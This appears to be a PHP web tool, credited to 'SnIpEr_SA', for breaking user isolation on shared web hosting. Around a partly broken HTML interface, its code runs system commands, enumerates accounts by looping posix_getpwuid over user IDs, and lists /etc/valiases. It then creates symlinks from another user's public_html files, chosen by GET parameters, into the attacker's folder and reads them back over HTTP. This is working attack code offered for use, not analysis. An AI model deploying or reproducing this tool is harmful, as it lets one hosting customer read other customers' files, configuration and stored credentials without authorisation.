<title>[Symlink Tools to bypass user](Sniper_SA)</title>
<body style="border-style: double; border-width: 3" bgcolor="#DADADA">


<p align="center" dir="rtl"><font color="#FF0000"><span lang="ar-sa">
&nbsp; -=[Symlink Tools to bypass user]=-

</span></font></p>
<p align="center" dir="rtl"><font color="#0066FF"><span lang="ar-sa">SnIpEr_SA

<div align=center id='n'><font face=tahoma size=2>
<font color="#FFFFFF">o---[</font> <font color="#FF0000">Developer by SnIpEr_SA Symlink User Bypass </font> <font color="#FFFFFF">|</font> <a href=http://sniper-sa.com>http://sniper-sa.com</a>
<font color="#FFFFFF">|</font> <font color="#FF0000">
<a href="mailto:SnIpEr.SA@hotmail.com" style="text-decoration: none">
<font color="#FF0000">SnIpEr.SA@hotmail.com</font></a></font><font color="#FFFFFF"> ]---o</font></font></div>



echo exec('id');
$dir = @getcwd();

</span></font></p>


<td width="50%">
<td width="50%">
<td width="50%">


<td width="50%" colspan="2">
<p align="center">





<td width="50%"><select size=\"1\" name="plugin"><option value="plugin">/etc/passwd</option></option></select>

<td width="100%" colspan="2">
<p align="center">



<td width="50%"><select size="1" name="alias"><option value="alias">/etc/valiases</option></option></select>

<td width="100%" colspan="2">

<p align="center">


<textarea method='POST' rows=20 cols=100 wrap=off>





if ($_GET['alias'] )


system('ls -al /etc/valiases');




if ($_GET['plugin'] )

for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
echo "</textarea>";
if(!empty($_GET['sympt']) AND !empty($_GET['sympy']) AND !empty($_GET['folder']))
{
$them=$_GET['sympt'];
$you=$_GET['sympy'];
$folder=$_GET['folder'];
}

$k = $_GET['c'];

$flib = "sniper.txt";

if ($k == "") {
echo "Enter a file name";
die;
}else{
@unlink($flib);
$sym = "/home/" . $them . "/public_html/" . $k;
$link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
@symlink($sym, $link);
if ($k{0} == "/") {
echo "<script> window.location = '" . $flib . "'</script>";
}else{
echo "<pre><xmp>";
echo readlink($flib) . "\n";
echo "Filesize: " . linkinfo($flib) . "B\n\n";
echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
}
}